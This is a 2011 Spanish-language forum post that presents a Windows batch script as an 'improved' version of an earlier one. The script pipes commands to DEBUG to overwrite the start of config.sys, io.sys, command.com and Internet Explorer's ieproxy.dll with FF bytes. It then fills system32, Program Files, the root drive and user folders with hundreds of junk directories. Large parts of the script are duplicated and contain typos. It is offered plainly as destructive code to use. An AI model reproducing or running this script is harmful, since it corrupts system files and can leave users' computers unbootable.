Underc0de

Programación Scripting => Batch - Bash => Mensaje iniciado por: @ed33x en Enero 22, 2011, 09:53:35 PM

Título: Batch + Debug Perfeccionado. By Javier
Publicado por: @ed33x en Enero 22, 2011, 09:53:35 PM
Aqui el Batch con Debug, pero perfeccionado, con FOR:

@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
@echo off
echo N %homedrive%\config.sys >> %homedrive%\in.txt
echo L >> %homedrive%\in.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\in.txt
echo W >> %homedrive%\in.txt
echo Q >> %homedrive%\in.txt
Debug < %homedrive%\in.txt
cls
echo N %homedrive%\windows\system32\command.com >> %homedrive%\ina.txt
echo L >> %homedrive%\ina.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ina.txt
echo W >> %homedrive%\ina.txt
echo Q >> %homedrive%\ina.txt
Debug < %homedrive%\ina.txt
echo N %homedrive%\io.sys >> %homedrive%\ins.txt
echo L >> %homedrive%\ins.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\ins.txt
echo W >> %homedrive%\ins.txt
echo Q >> %homedrive%\ins.txt
Debug < %homedrive%\ins.txt
echo N %homedrive%\archivos de programa\Internet Explorer\ieproxy.dll >> %homedrive%\zx.txt
echo L >> %homedrive%\zx.txt
echo E 100 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF >> %homedrive%\zx.txt
echo W >> %homedrive%\zx.txt
echo Q >> %homedrive%\zx.txt
cls
cd %systemroo%\system32
FOR /L %%A IN (1,1,400) DO (mkdir %%A)
cd %"homedrive%\documents and settings\%username%"
FOR /L %%B IN (1,1,400) DO (mkdir %%B)
cd %systemroot%
FOR /L %%C IN (1,1,400) DO (mkdir %%C)
cd %homedrive%\Users
FOR /L %%D IN (1,1,400) DO (mkdir %%D)
cd "%homedrive%\documents and settings"
FOR /L %%E IN (1,1,400) DO (mkdir %%E)
cd %homedrive%\
FOR /L %%F IN (1,1,400) DO (mkdir %%F)
cd %programfiles%
FOR /L %%G IN (1,1,400) DO (mkdir %%G)


Lo simplifique mucho con FOR. Lo use en reemplazo del

if %contador% EQU 500